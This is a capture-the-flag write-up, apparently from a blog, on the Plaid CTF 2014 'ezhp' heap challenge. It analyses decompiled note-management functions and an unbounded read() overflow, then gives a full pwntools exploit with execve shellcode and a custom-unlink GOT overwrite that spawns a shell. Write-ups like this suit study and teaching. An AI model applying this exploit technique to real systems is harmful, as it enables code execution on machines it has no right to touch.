ezhp
This challenge is my first exp to exploit heap overflow bug. So more time is needed than other cases.
Anyway, Given file is x86 stripped elf file.
1 2 3 | zero@ubuntu:~/Desktop/ctf/plaid2014$ file ezhp ezhp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, stripped | cs |
Applied memory protections are..
1 2 3 4 5 6 7 8 | zero@ubuntu:~/Desktop/ctf/plaid2014$ gdb -q ./ezhp Reading symbols from ./ezhp...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial | cs |
None of MPs except partial RELRO! Canary and NX is disable. But maybe there is ASLR enable on server env.
1 2 3 4 5 6 7 8 | zero@ubuntu:~/Desktop/ctf/plaid2014$ ./ezhp Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. | cs |
maybe this challenge is just simple overflow prob whether stack or heap.
let's start with 'add_note' disassembly code!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | int add_note() { int result; // eax@2 intptr_t delta; // [sp+18h] [bp-10h]@3 if ( limit <= 1022 ) { puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &delta); *&buf[4 * limit] = cus_malloc(delta); result = limit++ + 1; } else { puts("The emperor says there are too many notes!"); result = fflush(stdout); } return result; } | cs |
add_note function, Firstly scan the buffer size and save result of cus_malloc in buf[4*limit]. ( buf[] size is 4096 bytes )
And we can add a note maximum 1022 times.
In cus_malloc,
1 2 3 4 5 | deltaa = delta + 12 - (delta + 12) % 12u + 12;// size - size % 12 + 24 ... if ( deltaa < 1036 ) deltaa = 1036; v4 = sbrk(deltaa); | cs |
Minimum size is 1036 bytes and it allocates with sbrk() ( similar with malloc(), actually malloc() also use brk() internally )
sbrk() works as expending data segment's area ( expending end of segment )
% For example sbrk(0x1000) will exactly allocate 0x1000 unlike malloc() ( malloc() allocates more memory to prevent calling brk() again later.
% If u wanna know about the lowest address of segments, then u just use sbrk(0) and it'll return the address.
Next is 'change note' function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | ssize_t change_note() { ssize_t result; // eax@1 int id; // [sp+18h] [bp-10h]@1 size_t nbytes; // [sp+1Ch] [bp-Ch]@4 puts("Please give me an id."); fflush(stdout); __isoc99_scanf("%d%*c", &id); result = limit; if ( id <= limit ) { result = id; if ( id >= 0 ) { result = *&buf[4 * id]; if ( result ) { puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &nbytes); puts("Please input your data."); fflush(stdout); result = read(0, *&buf[4 * id], nbytes); } } } return result; } | cs |
There are codes which have heap overflow because read() is used without any bound checking.
In remove_note func...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | int __cdecl cus_free(int ptr) { int result; // eax@8 int v2; // [sp+4h] [bp-Ch]@2 int v3; // [sp+8h] [bp-8h]@2 int v4; // [sp+Ch] [bp-4h]@2 if ( ptr ) { v2 = ptr - 12; v3 = *(ptr - 12 + 8); v4 = *(ptr - 12 + 4); if ( v3 ) *(v3 + 4) = v4; if ( v4 ) *(v4 + 8) = v3; *(v2 + 4) = *(sbrk_ptr + 4); if ( *(sbrk_ptr + 4) ) *(*(sbrk_ptr + 4) + 8) = v2; *(sbrk_ptr + 4) = v2; result = ptr - 12; *v2 &= 0xFFFFFFFE; } return result; } // let's change to understandable codes,,, typedef struct _heap { struct heap *prev; struct heap *next; size_t size; } heap; void __cdecl cus_free(void *ptr) { if ( ptr ) { heap *tmp = ptr - 12; // current heap address heap *prev = tmp->prev; heap *next = tmp->next; /* unlink() */ if ( prev ) prev->next = next; if ( next ) next->prev = prev; /* store it in 'free list' ( sbrk_ptr ) */ tmpr->next = sbrk_ptr->next; if ( sbrk_ptr->next ) sbrk_ptr->next->prev = tmp; sbrk_ptr->next = tmp; tmp->size &= 0xFFFFFFFE; } } | cs |
custom unlink() writes prev(v3) at next+8 and next(v4) at prev+4.
Final Exploit Code :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | from pwn import * sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" def add_note(size): p.recvuntil("Please choose an option.\n") p.sendline("1") p.recvuntil("Please give me a size.\n") p.sendline(str(size)) def remove_note(id): p.recvuntil("Please choose an option.\n") p.sendline("2") p.recvuntil("Please give me an id.\n") p.sendline(str(id)) def change_note(id, size, payload): p.sendline("3") p.recvuntil("Please give me an id.\n") p.sendline(str(id)) p.recvuntil("Please give me a size.\n") p.sendline(str(size)) p.recvuntil("Please input your data.\n") p.sendline(str(payload)) def print_note(id): p.recvuntil("Please choose an option.\n") p.sendline("4") p.recvuntil("Please give me an id.\n") p.sendline(str(id)) size = 128 exit_got = 0x0804a010 p = process("./ezhp") # Stage 1 - add 3 notes add_note(1) add_note(size - 20) add_note(1) # Stage 2 - Overwrite GOT p.recvuntil("Please choose an option.\n") change_note(1, size, "A"*(size - 4) + p32(exit_got - 8)) # Stage 3 - custom unlink() remove_note(2) # Stage 4 - Write shellcode change_note(0, size + 12, "A"*(size + 12 - len(sc)) + sc) # Stage 6 - Exit p.sendline("5") # Get Shell! p.interactive() | cs |
Test Environment is Ubuntu 16.04 x86-64. ( Wherever it doesn't matter )
Get Shell!
1 2 3 4 5 6 7 8 9 10 11 12 | zero@ubuntu:~/Desktop/ctf/plaid2014$ python ezhp.py [+] Started program './ezhp' [*] Switching to interactive mode Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option. $ id uid=1000(zero) gid=1000(zero) groups=1000(zero) | cs |
'CTFs > Plaid 2014' 카테고리의 다른 글
[Plaid 2014] pwnable : tenement & sass (0) | 2016.08.27 |
---|---|
[Plaid 2014] pwnable : kappa (0) | 2016.08.27 |
[Plaid 2014] reversing : hudak (0) | 2016.08.27 |
[Plaid 2014] forensic : zfs (0) | 2016.08.27 |
[Plaid 2014] forensic : rsa (0) | 2016.08.27 |